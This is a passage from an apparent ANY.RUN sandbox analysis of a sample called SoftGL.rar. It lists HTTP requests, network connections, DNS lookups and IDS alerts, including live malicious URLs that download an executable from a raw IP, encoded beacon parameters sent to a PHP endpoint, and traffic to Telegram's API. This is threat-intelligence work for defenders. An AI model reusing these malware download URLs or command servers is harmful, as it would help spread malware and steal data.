ipkSp9UaVdlYoVDMVBFbrFVa3lWS1R2MiVHdtJmVKl2TpFVVTtmSYlldK12Ysh2RkZXMrl0cJlmYzkTbiJXNXZVavpWS5ZVbjFjUzkFaadFZ1Z0VUtmSYlldK12Ysh2RkZXMrl0cJlmYzkTbiJXNXZVavpWSsFzVZ9kUtNGa50WW5Z1RhBTOXRVa3lWS4lEWaNHeyIWeS5mY25EMixmUXF2VKl2TpF1VTxmTXFmMWdkUWJUMSl2dplkQ5kGVp9maJxmUYl1UoJzYspkbaxmSGVGaxUlVRR2aJNXSTFld0sWS2kUaiZHbHR2ds12Yq5EWaVkVHpldxAjYsJ1VhdlVGVFSKNETpVEMM9kSp9Uar52Y2FzVa5UOXp1as1mVWJUMSl2dplkQ5kGVp9maJlXOyMmeWJTW2pESVZnVHpFcaZlVRR2aJNXST5UavpWSspEWkBjTXpFMsdUYqpEWRZnVHpFcaZlVRR2aJNXSpNGbSh0YoJ1VRdWTzkFcod0Yop0MSdWRwI1VCNkW5Z0RaVnRHRGVKl2TpV1VihWNVZVUktWSzlUeNZkWE1UMBRUT3l1aSNkWrFFNZVVTp9maJtGbrNmdONzYs5kMilnQWZVUOtWSzl0QNZlQxEVavpWSrxWVapGbtRGbSVlVR50aJN3Yq50dRpWT2kUaiZHbyMGcahlWTZlRVRkSDxUavh0UOJUeOlXS61UavpWSrZ1VadnTxEma5ckYEJlbixmSuNWMOVlVR50aJNXSTFld0sWS2k0QaxmVHNGV0JTW2hnMRNnRtJWeWdEZ0YVVWFlTrl0cJlWUwRXRJdXSp9UaV1WZw5kVa9mTXlFROREVWJUMRl2dplkQ5kGVp9maJxGcYFGVWdUYqZkMRl3dVZVUOtWSzl0UPl2bqlEbKhFZw40VaBDbHFmaKhVUWJUMRl2dD5kNJl3Y5ljMjpnVykldKhUVzZkMZBHZyIWTWZUVEp0QMBzbqlkeW12Y25UVWFlTrl0cJlXTnNWbiBnQINGbSNTVnFFVPd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORjSp9Ua0IjYwJFSjBnSzkleWdkUWJUMRl2dplkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMlWSqxUM0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiMTYiNzYyMmZlBDZkVWZ2MzY0ITNwIDNlV2MwUjZmhTZiwiI2QzNkFGOhVTY3IGMkFmZ1czYzQmNlVWNzUmZ5U2M5IWNiJzY0gzYzIiOicjM5Y2NzcjMhJTOzEjN4MmMlRGNhBTNwImYhJjNxgTYiwiI2MDM1gTMkZ2MkNmM1M2MwcTMldzYmBDZ1MDZwUzYzgzYjRjNwkzNzIiOiATO5MmY2ATMhNTZiFmY4Q2NiBjMyIDZxMjZ3IGZ3MTNis3W
RU
text
104 b
malicious
4664
AppLaunch.exe
GET
200
185.112.83.99:80
http://185.112.83.99:80/Lanskoy.exe
RU
executable
3.04 Mb
malicious
4328
csrss.exe
GET
200
217.28.221.151:80
http://217.28.221.151/DbLocal/dlePrivate/imageUploads/7process/Serverhttp/9LinuxBase/2dle/VideoTrackCentralDownloads.php?aIBRXPdtYXmmC5tQuxfN=8kAfbhziDkUc4JDt&a857e6358b6a66ec9f931d7fef13c4d4=gNxAjM0QDNlJzNygTY0UGO5EmZ5IjNzEjM5IzMwUGOhFjMhRDZ3QmY2UTOxcDM5MzMxQDMxQjM&bc00a30df5d4da97ac074521e205c2f8=gZkdjN2EWY5kTYmZTZyImM4YDNjdDNwYjZ3AjY1cTYzImY1MWOwgjN&323d2c38ec58c3aec027f0ac73cdacfe=d1nIwETOhN2NhBzY0QGMlRDNwYDM5Q2Y2gTN2ITMjVTYkZ2N0QTZkdjN4IiOicjM5Y2NzcjMhJTOzEjN4MmMlRGNhBTNwImYhJjNxgTYiwiI2MDM1gTMkZ2MkNmM1M2MwcTMldzYmBDZ1MDZwUzYzgzYjRjNwkzNzIiOiATO5MmY2ATMhNTZiFmY4Q2NiBjMyIDZxMjZ3IGZ3MTNis3W&8ae9b73744cf429dffe0077659d7eca9=d1nIiojIzEmYzMmMjZWZwQGZlVmNzMGNyUDMyQTZlNDM1YmZ4UmIsICMxkTYjdTYwMGNkBTZ0QDM2ATOkNmN4UjNyEzY1EGZmdDN0UGZ3YDOiojI3ITOmdzM3ITYykzMxYDOjJTZkRTYwUDMiJWYyYTM4EmIsIiNzATN4EDZmNDZjJTNjNDM3ETZ3MmZwQWNzQGM1M2M4M2Y0YDM5czMiojIwkTOjJmNwETYzUmYhJGOkdjYwIjMyQWMzY2NiR2NzUjI7xSfikTMul0LJl2TpFlaZNTVtllaWdVTqZleNJTQ650asRVTqp0RP1mUH5kMZJTT41EValXVU10MZRVT0k1RPNzZql0cJNUTp9maJlmUq5kakRVWpZ1VatmQEpFbadVW410RPBTWqplMnRVWpZUbNlXUX9UeJpWWxMGVZRTRUpVaKlXZ2k0UZBjRHJFMohlWpd3UOZTSDRWM5clW0x2RWdnVXp1cOxWSzl0UaJDbHRmaGtWS2kUejFjUYlFMOZVZwwWbkBnUzklQKNETplEWa5mRtJGaxUUS0ZUbj5WOtNWUKl2TpN2MitWNXFGWSFTUCp0QMlGNrlkNJNlYo5UbZxGZxMGcKNETptGbJZTSTpVd5cUY3lTbjpGbXRles1WSzl0ULpXQ5pVdsd0Y3Z1RkRlQD5UNBNkYsJlMi5kQp50ZrhkYwFzVZdkQD5kMnh0Sn9GSThkQ65UdJRUSBJ0UWFlTFl0dBRkTyAzUOBnQTtkTSZ0Ssp0MiRkQTt0UoNkYsJlbipkSp9UaVdlYoVTVWFlTrl0cJN1SClTaU9WQpNGbSh0YoJ1VRdWTzkFcod0Yop0MSdWRwI1VCNkW5Z0RaVnRHRGVKl2TpV1VihWNVZVUktWSzlUaUl2bqlUdsdlYrZEMjBnSDxUaJl2TpNWVRVlSDxUaRhVYDJUaNpXQDJGa1IjYw50MjxmWyIWeCZUSzEUejNTOHpVdsJjVp9maJlnVtZVdsJjVpd3UmlWUYRWesdlWDlzUZBnTYFVavpWSsVjMiZjVXJGcS5WSzl0QNdXQE10dBpWS2k0QihmUzMmdC5WSzlUaiZXNXlVaWdEVnBzQJtmVXFWbsJTWsJ0MjdWUzI2TKl2TpNWbjZnSDxUaNpXT6dmaMFTTExkeNpXT0QTeNpXSp9UaNJjYzp0QMlWSFRVavpWS1oESkVnVzImaKNETplUaPlGNyIGckdlW5p0QMlWSp9UarhEZw5UbJNXS51Ue0knT6RzQNpHNp1EeJpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMTYiNzYyMmZlBDZkVWZ2MzY0ITNwIDNlV2MwUjZmhTZiwiIyYmMlljM0ImMiVTNmhzYhZGO0QzNlZWZwIWO2EmN3YTZyYTNhVWMmJiOicjM5Y2NzcjMhJTOzEjN4MmMlRGNhBTNwImYhJjNxgTYiwiI2MDM1gTMkZ2MkNmM1M2MwcTMldzYmBDZ1MDZwUzYzgzYjRjNwkzNzIiOiATO5MmY2ATMhNTZiFmY4Q2NiBjMyIDZxMjZ3IGZ3MTNis3W
RU
text
104 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
35476
AppLaunch.exe
185.106.92.110:5555
—
MediaServicePlus LLC
RU
malicious
—
—
185.106.92.110:5555
—
MediaServicePlus LLC
RU
malicious
35476
AppLaunch.exe
185.112.83.99:80
—
Total Server Solutions L.L.C.
RU
malicious
35824
WerFault.exe
104.208.16.93:443
watson.microsoft.com
Microsoft Corporation
US
suspicious
4664
AppLaunch.exe
185.106.92.110:5555
—
MediaServicePlus LLC
RU
malicious
4328
csrss.exe
217.28.221.151:80
—
SIBCOM Ltd.
RU
malicious
4664
AppLaunch.exe
185.112.83.99:80
—
Total Server Solutions L.L.C.
RU
malicious
4328
csrss.exe
149.154.167.220:443
api.telegram.org
Telegram Messenger LLP
GB
malicious
4328
csrss.exe
34.117.59.81:443
ipinfo.io
—
US
whitelisted

DNS requests

Domain
IP
Reputation
watson.microsoft.com
  • 104.208.16.93
whitelisted
ipinfo.io
  • 34.117.59.81
shared
api.telegram.org
  • 149.154.167.220
shared

Threats

PID
Process
Class
Message
35476
AppLaunch.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4664
AppLaunch.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4328
csrss.exe
A Network Trojan was detected
ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io)
4328
csrss.exe
Potential Corporate Privacy Violation
ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io)
—
—
Misc activity
ET INFO Telegram API Domain in DNS Lookup
4328
csrss.exe
Misc activity
ET INFO Observed Telegram API Domain (api .telegram .org in TLS SNI)
4328
csrss.exe
Misc activity
ET POLICY Telegram API Certificate Observed
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
SoftGL.rar